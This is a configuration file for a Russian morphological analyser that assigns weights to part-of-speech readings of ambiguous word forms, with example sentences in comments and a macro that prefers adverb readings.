wordform_score "встала на дыбы" { глагол } = 2 wordform_score "встал на дыбы" { глагол } = 2 wordform_score "встали на дыбы" { глагол } = 2 wordform_score "встанет на дыбы" { глагол } = 2 wordform_score "пузырь" { глагол } = -2 // выражение его лица было довольно странным wordform_score "довольно" { прилагательное } = -1 // они как будто пришли издалека // ^^^^^^^^^ wordform_score "как будто" { наречие } = 2 // Лошадь встала на дыбы. wordform_score "встать на дыбы" { глагол } = 2 // мой друг как всегда был прав // ^^^^^^^^^^ wordform_score "как всегда" { наречие } = 2 // без кольца все стало как обычно // ^^^^^^^^^^ wordform_score "как обычно" { наречие } = 2 // однако совершенно необходимо время от времени менять темп. // ^^^^^^^^^^^^^^^^ wordform_score "время от времени" { наречие } = 5 // все равно уже сорвал // ^^^^^^^^^ wordform_score "все равно" { наречие } = 10 // деревья полностью закрывают серое небо // ^^^^^^^^^ wordform_score "полностью" { существительное } = -100 // волосы обоих были все еще мокрые. // ^^^^^^^ wordform_score "все еще" { наречие } = 2 // всего один день. wordform_score "день" { глагол } = -1 // ты все это прекрасно знаешь // ^^^^^^^ wordform_score "все это" { местоим_сущ } = 1 // Андрюха хотел жить на отшибе // ^^^^^^^^^ wordform_score "на отшибе" { наречие } = 1 // ПОЙМА vs ПОНЯТЬ wordform_score "пойму" { существительное } = -1 // лучше всего сделать это сразу // ^^^^^^^^^^^ wordform_score "лучше всего" { безлич_глагол } = 1 wordform_score "нахожусь" { глагол вид:соверш } = -2 wordform_score "находимся" { глагол вид:соверш } = -2 wordform_score "находится" { глагол вид:соверш } = -2 wordform_score "находитесь" { глагол вид:соверш } = -2 wordform_score "находился" { глагол вид:соверш } = -2 wordform_score "находилась" { глагол вид:соверш } = -2 wordform_score "находилось" { глагол вид:соверш } = -2 wordform_score "находились" { глагол вид:соверш } = -2 wordform_score "находим" { прилагательное } = -5 // В Полинезии находим культ черепов вождей. wordform_score пошли { глагол время:прошедшее } = 1 // мы пошли домой wordform_score пошли { глагол наклонение:побуд } = -1 // не пошли! wordform_score спешить { инфинитив вид:несоверш } = 1 // спеш^ить (торопиться) wordform_score спешил { глагол вид:несоверш }=1 wordform_score спешила { глагол вид:несоверш }=1 wordform_score спешили { глагол вид:несоверш }=1 wordform_score спеши { глагол вид:несоверш }=1 wordform_score спешить { инфинитив вид:соверш } =-2 // сп^ешить (спустить с коня на землю) wordform_score спешил { глагол вид:соверш }=-2 wordform_score спешила { глагол вид:соверш }=-2 wordform_score спешили { глагол вид:соверш }=-2 wordform_score лето { существительное род:ср } = 1 wordform_score лёт { существительное род:муж } = -5 // Коля, давай-ка выпей молока wordform_score выпей { глагол } = 1 wordform_score выпей { существительное } = -2 wordform_score видно { наречие } = -3 //wordform_score видно { прилагательное } = 0 //wordform_score видно { вводное } = -1 //wordform_score времени { существительное } = 1 wordform_score времени { глагол } = -5 // О факторе времени. //wordform_score перед { предлог } = 1 wordform_score перед { существительное } = -2 wordform_score на { предлог } = 1 wordform_score на { частица } = -10 wordform_score жил { существительное } = -1 // жила wordform_score жил { глагол } = 1 // жить wordform_score любой { существительное } = -1 // Люба wordform_score жал { существительное } = -10 // жало wordform_score жал { глагол } = 1 // жать wordform_score велик { прилагательное } = -1 // великий wordform_score велика { существительное } = -10 wordform_score велика { прилагательное } = 1 // великий wordform_score велики { существительное } = -10 wordform_score велики { прилагательное } = 1 // великий wordform_score были { существительное } = -10 wordform_score были { глагол } = 1 wordform_score весь { существительное } = -10 wordform_score весь { глагол } = -10 wordform_score весь { прилагательное } = 1 wordform_score вещей { существительное } = 1 wordform_score вещей { прилагательное } = -1 wordform_score времени { глагол } = -10 wordform_score времени { существительное } = 1 //wordform_score все { местоим_сущ } = 1 //wordform_score все { прилагательное } = 1 wordform_score все { наречие } = -2 wordform_score все { частица } = -2 wordform_score всей { глагол } = -10 wordform_score всей { прилагательное } = 1 //wordform_score дали { глагол } = 1 wordform_score дали { существительное } = -1 //wordform_score смог { глагол } = 1 wordform_score смог { существительное } = -1 wordform_score действительно { прилагательное } = -10 wordform_score действительно { наречие } = 1 // wordform_score дел { существительное } = 1 // wordform_score дел { глагол } = 1 wordform_score дело { существительное } = 1 wordform_score дело { глагол } = -1 // wordform_score дела { существительное } = 1 // wordform_score дела { глагол } = 1 wordform_score день { существительное } = 1 wordform_score день { глагол } = -10 wordform_score для { предлог } = 1 wordform_score для { деепричастие } = -10 wordform_score какая { прилагательное } = 1 wordform_score какая { деепричастие } = -10 wordform_score конечно { прилагательное } = -1 wordform_score конечно { наречие } = 1 wordform_score мая { существительное одуш:неодуш } = 1 wordform_score мая { существительное одуш:одуш } = -1 wordform_score моря { существительное } = 1 wordform_score моря { деепричастие } = -10 wordform_score моя { прилагательное } = 1 wordform_score моя { деепричастие } = -10 wordform_score особой { прилагательное } = 1 wordform_score особой { существительное } = -1 wordform_score пора { существительное } = -1 wordform_score пора { безлич_глагол } = 1 wordform_score при { предлог } = 1 wordform_score при { глагол } = -10 wordform_score разрыв { существительное } = 1 wordform_score разрыв { деепричастие } = -1 wordform_score совести { существительное число:ед } = 1 wordform_score совести { существительное число:мн } = -5 wordform_score совести { глагол } = -2 wordform_score хвои { глагол } = -2 // Кубдя подбросил хвои. wordform_score споров { существительное } = 1 wordform_score споров { деепричастие } = -1 wordform_score стать { существительное } = -1 wordform_score стать { инфинитив } = 1 wordform_score такая { деепричастие } = -10 // такать wordform_score такая { прилагательное } = 1 wordform_score три { глагол } = -1 // тереть wordform_score три { числительное } = 1 wordform_score тут { существительное одуш:неодуш } = -10 // тут (тутовое дерево) wordform_score тут { наречие } = 1 wordform_score уж { частица } = 1 wordform_score уж { наречие } = 1 wordform_score уж { существительное } = -2 wordform_score уже { наречие степень:атриб } = 1 wordform_score уже { прилагательное } = -3 // узкий wordform_score уже { существительное } = -2 wordform_score уже { наречие степень:сравн } = -5 // узко wordform_score хотя { деепричастие } = -10 // хотеть wordform_score хотя { союз } = 1 // краткие формы среднего рода прилагательных используются очень редко, в отличие // от буквально совпадающих с ними наречий #define PreferAdverb(x) \ #begin //wordform_score x { наречие } = 2000000 wordform_score x { прилагательное } = -2 #end PreferAdverb( "абсолютно" ) PreferAdverb( "абстрактно" ) PreferAdverb( "абсурдно" ) PreferAdverb( "аварийно" ) PreferAdverb( "автоматично" ) PreferAdverb( "авторитарно" ) PreferAdverb( "авторитетно" ) PreferAdverb( "азартно" ) PreferAdverb( "аккуратно" ) PreferAdverb( "активно" ) PreferAdverb( "актуально" ) PreferAdverb( "алогично" ) PreferAdverb( "амбивалентно" ) PreferAdverb( "аномально" ) PreferAdverb( "анонимно" ) PreferAdverb( "аргументировано" ) PreferAdverb( "аристократично" ) PreferAdverb( "архиважно" ) PreferAdverb( "аскетично" ) PreferAdverb( "афористично" ) PreferAdverb( "капризно" ) PreferAdverb( "кардинально" ) PreferAdverb( "карикатурно" ) PreferAdverb( "категорично" ) PreferAdverb( "качественно" ) PreferAdverb( "классно" ) PreferAdverb( "комично" ) PreferAdverb( "комфортабельно" ) PreferAdverb( "комфортно" ) PreferAdverb( "конвульсивно" ) PreferAdverb( "конечно" ) PreferAdverb( "конкретно" ) PreferAdverb( "конструктивно" ) PreferAdverb( "контрастно" ) PreferAdverb( "концептуально" ) PreferAdverb( "корректно" ) PreferAdverb( "кратковременно" ) PreferAdverb( "крестообразно" ) PreferAdverb( "кристально" ) PreferAdverb( "круглосуточно" ) PreferAdverb( "курьезно" ) PreferAdverb( "кучно" ) PreferAdverb( "комплиментарно" ) PreferAdverb( "агрессивно" ) PreferAdverb( "адекватно" ) PreferAdverb( "алчно" ) PreferAdverb( "амбициозно" ) PreferAdverb( "аморально" ) PreferAdverb( "аналогично" ) PreferAdverb( "анекдотично" ) PreferAdverb( "апатично" ) PreferAdverb( "аполитично" ) PreferAdverb( "артистично" ) PreferAdverb( "асимметрично" ) PreferAdverb( "ассоциативно" ) PreferAdverb( "красно" ) PreferAdverb( "конфиденциально" ) PreferAdverb( "клятвенно" ) PreferAdverb( "краткосрочно" ) PreferAdverb( "круглогодично" ) PreferAdverb( "когерентно" ) PreferAdverb( "конъюнктурно" ) PreferAdverb( "конформно" ) PreferAdverb( "асинхронно" ) PreferAdverb( "аритмично" ) PreferAdverb( "альтруистично" ) PreferAdverb( "критично" ) PreferAdverb( "авантюрно" ) PreferAdverb( "автобиографично" ) PreferAdverb( "автономно" ) PreferAdverb( "аддитивно" ) PreferAdverb( "ажурно" ) PreferAdverb( "азбучно" ) PreferAdverb( "академично" ) PreferAdverb( "аллегорично" ) PreferAdverb( "альтернативно" ) PreferAdverb( "аморфно" ) PreferAdverb( "антагонистично" ) PreferAdverb( "антинаучно" ) PreferAdverb( "антиобщественно" ) PreferAdverb( "аппетитно" ) PreferAdverb( "ароматно" ) PreferAdverb( "архаично" ) PreferAdverb( "атипично" ) PreferAdverb( "аутентично" ) PreferAdverb( "каверзно" ) PreferAdverb( "капитально" ) PreferAdverb( "каплеобразно" ) PreferAdverb( "катастрофично" ) PreferAdverb( "келейно" ) PreferAdverb( "клешнеобразно" ) PreferAdverb( "клиновидно" ) PreferAdverb( "клинообразно" ) PreferAdverb( "коварно" ) PreferAdverb( "комедийно" ) PreferAdverb( "консервативно" ) PreferAdverb( "конституционно" ) PreferAdverb( "конусовидно" ) PreferAdverb( "конусообразно" ) PreferAdverb( "корыстно" ) PreferAdverb( "косвенно" ) PreferAdverb( "косноязычно" ) PreferAdverb( "кошмарно" ) PreferAdverb( "кощунственно" ) PreferAdverb( "красочно" ) PreferAdverb( "криводушно" ) PreferAdverb( "кровожадно" ) PreferAdverb( "крохотно" ) PreferAdverb( "крупно" ) PreferAdverb( "культурно" ) PreferAdverb( "куполообразно" ) PreferAdverb( "кустарно" ) PreferAdverb( "акцентировано" ) /*----------------------- select F1.name as word, Concat( '// ', C1.name, ':', E1.name, '{} и ', C2.name, ':', E2.name, '{}' ) from sg_entry E1, sg_entry E2, sg_form F1, sg_form F2, sg_class C1, sg_class C2 where E1.id_class!=E2.id_class and E1.name!='???' and F1.id_entry=E1.id and F2.id_entry=E2.id and F1.name=F2.name and C1.id=E1.id_class and C2.id=E2.id_class and E1.id<E2.id order by F1.name -------------------------*/ wordform_score "атакуем" { глагол } = 1 // ГЛАГОЛ:атаковать{} и ПРИЛАГАТЕЛЬНОЕ:атакуемый{} wordform_score "атакуем" { прилагательное } = -10 // ГЛАГОЛ:атаковать{} и ПРИЛАГАТЕЛЬНОЕ:атакуемый{} wordform_score "классифицируем" { глагол } = 1 // ГЛАГОЛ:классифицировать{} и ПРИЛАГАТЕЛЬНОЕ:классифицируемый{} wordform_score "классифицируем" { прилагательное } = -10 // ГЛАГОЛ:классифицировать{} и ПРИЛАГАТЕЛЬНОЕ:классифицируемый{} wordform_score "компенсируем" { глагол } = 1 // ГЛАГОЛ:компенсировать{} и ПРИЛАГАТЕЛЬНОЕ:компенсируемый{} wordform_score "компенсируем" { прилагательное } = -10 // ГЛАГОЛ:компенсировать{} и ПРИЛАГАТЕЛЬНОЕ:компенсируемый{} wordform_score "Коля" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:Коля{} и ДЕЕПРИЧАСТИЕ:коля{} wordform_score "Коля" { ДЕЕПРИЧАСТИЕ } = -10 // СУЩЕСТВИТЕЛЬНОЕ:Коля{} и ГЛАГОЛ:колоть{} wordform_score "Коли" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:Коля{} и СОЮЗ:коли{} wordform_score "Коли" { ГЛАГОЛ } = -2 // СУЩЕСТВИТЕЛЬНОЕ:Коля{} и ГЛАГОЛ:колоть{} wordform_score "Колю" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:Коля{} и ГЛАГОЛ:колоть{} wordform_score "Колю" { ГЛАГОЛ } = -2 // СУЩЕСТВИТЕЛЬНОЕ:Коля{} и ГЛАГОЛ:колоть{} wordform_score "Кати" { СУЩЕСТВИТЕЛЬНОЕ } = 2 // СУЩЕСТВИТЕЛЬНОЕ:Катя{} и ГЛАГОЛ:катить{} wordform_score "Кати" { ГЛАГОЛ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:Катя{} и ГЛАГОЛ:катить{} wordform_score "куплю" { СУЩЕСТВИТЕЛЬНОЕ } = -1 // СУЩЕСТВИТЕЛЬНОЕ:купля{} и ГЛАГОЛ:купить{} wordform_score "куплю" { ГЛАГОЛ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:купля{} и ГЛАГОЛ:купить{} wordform_score "крали" { СУЩЕСТВИТЕЛЬНОЕ } = -1 // СУЩЕСТВИТЕЛЬНОЕ:краля{} и ГЛАГОЛ:красть{} wordform_score "крали" { ГЛАГОЛ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:краля{} и ГЛАГОЛ:красть{} wordform_score "крести" { СУЩЕСТВИТЕЛЬНОЕ } = -2 // СУЩЕСТВИТЕЛЬНОЕ:крести{} и ГЛАГОЛ:крестить{} wordform_score "крести" { ГЛАГОЛ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:крести{} и ГЛАГОЛ:крестить{} wordform_score "крыло" { СУЩЕСТВИТЕЛЬНОЕ } = 1000000 // СУЩЕСТВИТЕЛЬНОЕ:крыло{} и ГЛАГОЛ:крыть{} wordform_score "крыло" { ГЛАГОЛ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:крыло{} и ГЛАГОЛ:крыть{} wordform_score "крыла" { СУЩЕСТВИТЕЛЬНОЕ } = 2 // СУЩЕСТВИТЕЛЬНОЕ:крыло{} и ГЛАГОЛ:крыть{} wordform_score "крыла" { ГЛАГОЛ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:крыло{} и ГЛАГОЛ:крыть{} wordform_score "крыло" { СУЩЕСТВИТЕЛЬНОЕ } = 2 // СУЩЕСТВИТЕЛЬНОЕ:крыло{} и ГЛАГОЛ:крыть{} wordform_score "крыло" { ГЛАГОЛ } = -1 // СУЩЕСТВИТЕЛЬНОЕ:крыло{} и ГЛАГОЛ:крыть{} wordform_score "ком" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:ком{} и МЕСТОИМ_СУЩ:кто{} wordform_score "ком" { МЕСТОИМ_СУЩ } = 2 // СУЩЕСТВИТЕЛЬНОЕ:ком{} и МЕСТОИМ_СУЩ:кто{} wordform_score "кому" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:ком{} и МЕСТОИМ_СУЩ:кто{} wordform_score "кому" { МЕСТОИМ_СУЩ } = 2 // СУЩЕСТВИТЕЛЬНОЕ:ком{} и МЕСТОИМ_СУЩ:кто{} wordform_score "Костя" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:Костя{} и ДЕЕПРИЧАСТИЕ:костя{} wordform_score "Костя" { ДЕЕПРИЧАСТИЕ } = -10 // СУЩЕСТВИТЕЛЬНОЕ:Костя{} и ДЕЕПРИЧАСТИЕ:костя{} wordform_score "кувырком" { СУЩЕСТВИТЕЛЬНОЕ } = -10 // СУЩЕСТВИТЕЛЬНОЕ:кувырок{} и НАРЕЧИЕ:кувырком{} wordform_score "кувырком" { НАРЕЧИЕ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:кувырок{} и НАРЕЧИЕ:кувырком{} wordform_score "колея" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:колея{} и ДЕЕПРИЧАСТИЕ:колея{} wordform_score "колея" { ДЕЕПРИЧАСТИЕ } = -10 // СУЩЕСТВИТЕЛЬНОЕ:колея{} и ДЕЕПРИЧАСТИЕ:колея{} wordform_score "качком" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:качок{} и ПРИЛАГАТЕЛЬНОЕ:качкий{} wordform_score "качком" { ПРИЛАГАТЕЛЬНОЕ } = -10 // СУЩЕСТВИТЕЛЬНОЕ:качок{} и ПРИЛАГАТЕЛЬНОЕ:качкий{} wordform_score "канал" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:канал{} и ГЛАГОЛ:канать{} wordform_score "канал" { ГЛАГОЛ } = -2 // СУЩЕСТВИТЕЛЬНОЕ:канал{} и ГЛАГОЛ:канать{} wordform_score "канала" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:канал{} и ГЛАГОЛ:канать{} wordform_score "канала" { ГЛАГОЛ } = -2 // СУЩЕСТВИТЕЛЬНОЕ:канал{} и ГЛАГОЛ:канать{} wordform_score "автостопом" { СУЩЕСТВИТЕЛЬНОЕ } = -1 // СУЩЕСТВИТЕЛЬНОЕ:автостоп{} и НАРЕЧИЕ:автостопом{} wordform_score "автостопом" { НАРЕЧИЕ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:автостоп{} и НАРЕЧИЕ:автостопом{} wordform_score "Ковровом" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:Ковров{} и ПРИЛАГАТЕЛЬНОЕ:ковровый{} wordform_score "Ковровом" { ПРИЛАГАТЕЛЬНОЕ } = 2 // СУЩЕСТВИТЕЛЬНОЕ:Ковров{} и ПРИЛАГАТЕЛЬНОЕ:ковровый{} wordform_score "кладу" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:клад{} и ГЛАГОЛ:класть{} wordform_score "кладу" { ГЛАГОЛ } = 2 // СУЩЕСТВИТЕЛЬНОЕ:клад{} и ГЛАГОЛ:класть{} wordform_score "клей" { СУЩЕСТВИТЕЛЬНОЕ } = 2 // СУЩЕСТВИТЕЛЬНОЕ:клей{} и ГЛАГОЛ:клеить{} wordform_score "клей" { ГЛАГОЛ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:клей{} и ГЛАГОЛ:клеить{} wordform_score "клея" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:клей{} и ДЕЕПРИЧАСТИЕ:клея{} wordform_score "клея" { ДЕЕПРИЧАСТИЕ } = -2 // СУЩЕСТВИТЕЛЬНОЕ:клей{} и ДЕЕПРИЧАСТИЕ:клея{} wordform_score "кубарем" { СУЩЕСТВИТЕЛЬНОЕ } = -10 // СУЩЕСТВИТЕЛЬНОЕ:кубарь{} и НАРЕЧИЕ:кубарем{} wordform_score "кубарем" { НАРЕЧИЕ } = 2 // СУЩЕСТВИТЕЛЬНОЕ:кубарь{} и НАРЕЧИЕ:кубарем{} wordform_score "калачиком" { СУЩЕСТВИТЕЛЬНОЕ } = -1 // СУЩЕСТВИТЕЛЬНОЕ:калачик{} и НАРЕЧИЕ:калачиком{} wordform_score "калачиком" { НАРЕЧИЕ } = 2 // СУЩЕСТВИТЕЛЬНОЕ:калачик{} и НАРЕЧИЕ:калачиком{} wordform_score "ковали" { СУЩЕСТВИТЕЛЬНОЕ } = -10 // СУЩЕСТВИТЕЛЬНОЕ:коваль{} и ГЛАГОЛ:ковать{} wordform_score "ковали" { ГЛАГОЛ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:коваль{} и ГЛАГОЛ:ковать{} wordform_score "Алле" { СУЩЕСТВИТЕЛЬНОЕ } = 2 // СУЩЕСТВИТЕЛЬНОЕ:Алла{} и ЧАСТИЦА:алле{} wordform_score "Алле" { ЧАСТИЦА } = 1 // СУЩЕСТВИТЕЛЬНОЕ:Алла{} и ЧАСТИЦА:алле{} wordform_score "кому" { СУЩЕСТВИТЕЛЬНОЕ } = -1 // СУЩЕСТВИТЕЛЬНОЕ:кома{} и МЕСТОИМ_СУЩ:кто{} wordform_score "кому" { МЕСТОИМ_СУЩ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:кома{} и МЕСТОИМ_СУЩ:кто{} wordform_score "кисла" { ПРИЛАГАТЕЛЬНОЕ } = 1 // ПРИЛАГАТЕЛЬНОЕ:кислый{} и ГЛАГОЛ:киснуть{} wordform_score "кисла" { ГЛАГОЛ } = 2 // ПРИЛАГАТЕЛЬНОЕ:кислый{} и ГЛАГОЛ:киснуть{} wordform_score "кисло" { наречие } = 2 wordform_score "кисло" { ПРИЛАГАТЕЛЬНОЕ } = -2 // ПРИЛАГАТЕЛЬНОЕ:кислый{} и ГЛАГОЛ:киснуть{} wordform_score "кисло" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:кислый{} и ГЛАГОЛ:киснуть{} wordform_score "конвертируем" { ПРИЛАГАТЕЛЬНОЕ } = -1 // ПРИЛАГАТЕЛЬНОЕ:конвертируемый{} и ГЛАГОЛ:конвертировать{} wordform_score "конвертируем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:конвертируемый{} и ГЛАГОЛ:конвертировать{} wordform_score "клади" { СУЩЕСТВИТЕЛЬНОЕ } = -2 // СУЩЕСТВИТЕЛЬНОЕ:кладь{} и ГЛАГОЛ:класть{} wordform_score "клади" { ГЛАГОЛ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:кладь{} и ГЛАГОЛ:класть{} wordform_score "копи" { СУЩЕСТВИТЕЛЬНОЕ } = -1 // СУЩЕСТВИТЕЛЬНОЕ:копь{} и ГЛАГОЛ:копить{} wordform_score "копи" { ГЛАГОЛ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:копь{} и ГЛАГОЛ:копить{} wordform_score "крепи" { СУЩЕСТВИТЕЛЬНОЕ } = -1 // СУЩЕСТВИТЕЛЬНОЕ:крепь{} и ГЛАГОЛ:крепить{} wordform_score "крепи" { ГЛАГОЛ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:крепь{} и ГЛАГОЛ:крепить{} wordform_score "крошку" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:крошка{} и НАРЕЧИЕ:крошку{} wordform_score "крошку" { НАРЕЧИЕ } = -10 // СУЩЕСТВИТЕЛЬНОЕ:крошка{} и НАРЕЧИЕ:крошку{} wordform_score "качкой" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:качка{} и ПРИЛАГАТЕЛЬНОЕ:качкий{} wordform_score "качкой" { ПРИЛАГАТЕЛЬНОЕ } = -10 // СУЩЕСТВИТЕЛЬНОЕ:качка{} и ПРИЛАГАТЕЛЬНОЕ:качкий{} wordform_score "какой" { СУЩЕСТВИТЕЛЬНОЕ } = -10 // СУЩЕСТВИТЕЛЬНОЕ:кака{} и ПРИЛАГАТЕЛЬНОЕ:какой{} //wordform_score "какой" { ПРИЛАГАТЕЛЬНОЕ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:кака{} и ПРИЛАГАТЕЛЬНОЕ:какой{} wordform_score "какою" { СУЩЕСТВИТЕЛЬНОЕ } = -10 // СУЩЕСТВИТЕЛЬНОЕ:кака{} и ПРИЛАГАТЕЛЬНОЕ:какой{} wordform_score "какою" { ПРИЛАГАТЕЛЬНОЕ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:кака{} и ПРИЛАГАТЕЛЬНОЕ:какой{} // СУЩЕСТВИТЕЛЬНОЕ:кака{} и СОЮЗ:как{} wordform_score "как" { СОЮЗ } = 3 wordform_score "как" { НАРЕЧИЕ } = 2 wordform_score "как" { ЧАСТИЦА } = 1 wordform_score "как" { СУЩЕСТВИТЕЛЬНОЕ } = -10 wordform_score "ковка" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:ковка{} и ПРИЛАГАТЕЛЬНОЕ:ковкий{} wordform_score "ковка" { ПРИЛАГАТЕЛЬНОЕ } = -1 // СУЩЕСТВИТЕЛЬНОЕ:ковка{} и ПРИЛАГАТЕЛЬНОЕ:ковкий{} wordform_score "кучу" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:куча{} и ГЛАГОЛ:кутить{} wordform_score "кучу" { ГЛАГОЛ } = -10 // СУЩЕСТВИТЕЛЬНОЕ:куча{} и ГЛАГОЛ:кутить{} wordform_score "кручу" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:круча{} и ГЛАГОЛ:крутить{} wordform_score "кручу" { ГЛАГОЛ } = 2 // СУЩЕСТВИТЕЛЬНОЕ:круча{} и ГЛАГОЛ:крутить{} wordform_score "круче" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:круча{} и НАРЕЧИЕ:круто{} wordform_score "круче" { НАРЕЧИЕ } = 2 // СУЩЕСТВИТЕЛЬНОЕ:круча{} и НАРЕЧИЕ:круто{} wordform_score "круче" { ПРИЛАГАТЕЛЬНОЕ } = 2 // СУЩЕСТВИТЕЛЬНОЕ:круча{} и ПРИЛАГАТЕЛЬНОЕ:крутой{} wordform_score "как" { СОЮЗ } = 3 // НАРЕЧИЕ:как{} и СУЩЕСТВИТЕЛЬНОЕ:кака{} wordform_score "как" { НАРЕЧИЕ } = 2 // НАРЕЧИЕ:как{} и СУЩЕСТВИТЕЛЬНОЕ:кака{} wordform_score "как" { ЧАСТИЦА } = 0 // НАРЕЧИЕ:как{} и СОЮЗ:как{} wordform_score "как" { СУЩЕСТВИТЕЛЬНОЕ } = -10 // НАРЕЧИЕ:как{} и ЧАСТИЦА:как{} wordform_score "кругом" { НАРЕЧИЕ } = 2 // НАРЕЧИЕ:кругом{} и СУЩЕСТВИТЕЛЬНОЕ:круг{} wordform_score "кругом" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // НАРЕЧИЕ:кругом{} и СУЩЕСТВИТЕЛЬНОЕ:круг{} wordform_score "кувырком" { НАРЕЧИЕ } = 2 // НАРЕЧИЕ:кувырком{} и СУЩЕСТВИТЕЛЬНОЕ:кувырок{} wordform_score "кувырком" { СУЩЕСТВИТЕЛЬНОЕ } = -10 // НАРЕЧИЕ:кувырком{} и СУЩЕСТВИТЕЛЬНОЕ:кувырок{} wordform_score "каплю" { НАРЕЧИЕ } = -10 // НАРЕЧИЕ:каплю{} и СУЩЕСТВИТЕЛЬНОЕ:капля{} wordform_score "каплю" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // НАРЕЧИЕ:каплю{} и СУЩЕСТВИТЕЛЬНОЕ:капля{} wordform_score "крошечку" { НАРЕЧИЕ } = -10 // НАРЕЧИЕ:крошечку{} и СУЩЕСТВИТЕЛЬНОЕ:крошечка{} wordform_score "крошечку" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // НАРЕЧИЕ:крошечку{} и СУЩЕСТВИТЕЛЬНОЕ:крошечка{} wordform_score "крошку" { НАРЕЧИЕ } = -10 // НАРЕЧИЕ:крошку{} и СУЩЕСТВИТЕЛЬНОЕ:крошка{} wordform_score "крошку" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // НАРЕЧИЕ:крошку{} и СУЩЕСТВИТЕЛЬНОЕ:крошка{} wordform_score "кубарем" { НАРЕЧИЕ } = 1 // НАРЕЧИЕ:кубарем{} и СУЩЕСТВИТЕЛЬНОЕ:кубарь{} wordform_score "кубарем" { СУЩЕСТВИТЕЛЬНОЕ } = -10 // НАРЕЧИЕ:кубарем{} и СУЩЕСТВИТЕЛЬНОЕ:кубарь{} wordform_score "кипуче" { НАРЕЧИЕ } = 1 // НАРЕЧИЕ:кипуче{} и ПРИЛАГАТЕЛЬНОЕ:кипучий{} wordform_score "кипуче" { ПРИЛАГАТЕЛЬНОЕ } = -1 // НАРЕЧИЕ:кипуче{} и ПРИЛАГАТЕЛЬНОЕ:кипучий{} wordform_score "куце" { НАРЕЧИЕ } = 1 // НАРЕЧИЕ:куце{} и ПРИЛАГАТЕЛЬНОЕ:куцый{} wordform_score "куце" { ПРИЛАГАТЕЛЬНОЕ } = -1 // НАРЕЧИЕ:куце{} и ПРИЛАГАТЕЛЬНОЕ:куцый{} wordform_score "антенной" { ПРИЛАГАТЕЛЬНОЕ } = 1 // ПРИЛАГАТЕЛЬНОЕ:антенный{} и СУЩЕСТВИТЕЛЬНОЕ:антенна{} wordform_score "антенной" { СУЩЕСТВИТЕЛЬНОЕ } = 2 // ПРИЛАГАТЕЛЬНОЕ:антенный{} и СУЩЕСТВИТЕЛЬНОЕ:антенна{} wordform_score "анализируем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:анализируемый{} и ГЛАГОЛ:анализировать{} wordform_score "анализируем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:анализируемый{} и ГЛАГОЛ:анализировать{} wordform_score "ассоциируем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:ассоциируемый{} и ГЛАГОЛ:ассоциировать{} wordform_score "ассоциируем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:ассоциируемый{} и ГЛАГОЛ:ассоциировать{} wordform_score "культивируем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:культивируемый{} и ГЛАГОЛ:культивировать{} wordform_score "контролируем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:контролируемый{} и ГЛАГОЛ:контролировать{} wordform_score "автоматизируем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:автоматизируемый{} и ГЛАГОЛ:автоматизировать{} wordform_score "автоматизируем" { ГЛАГОЛ } = 1 // 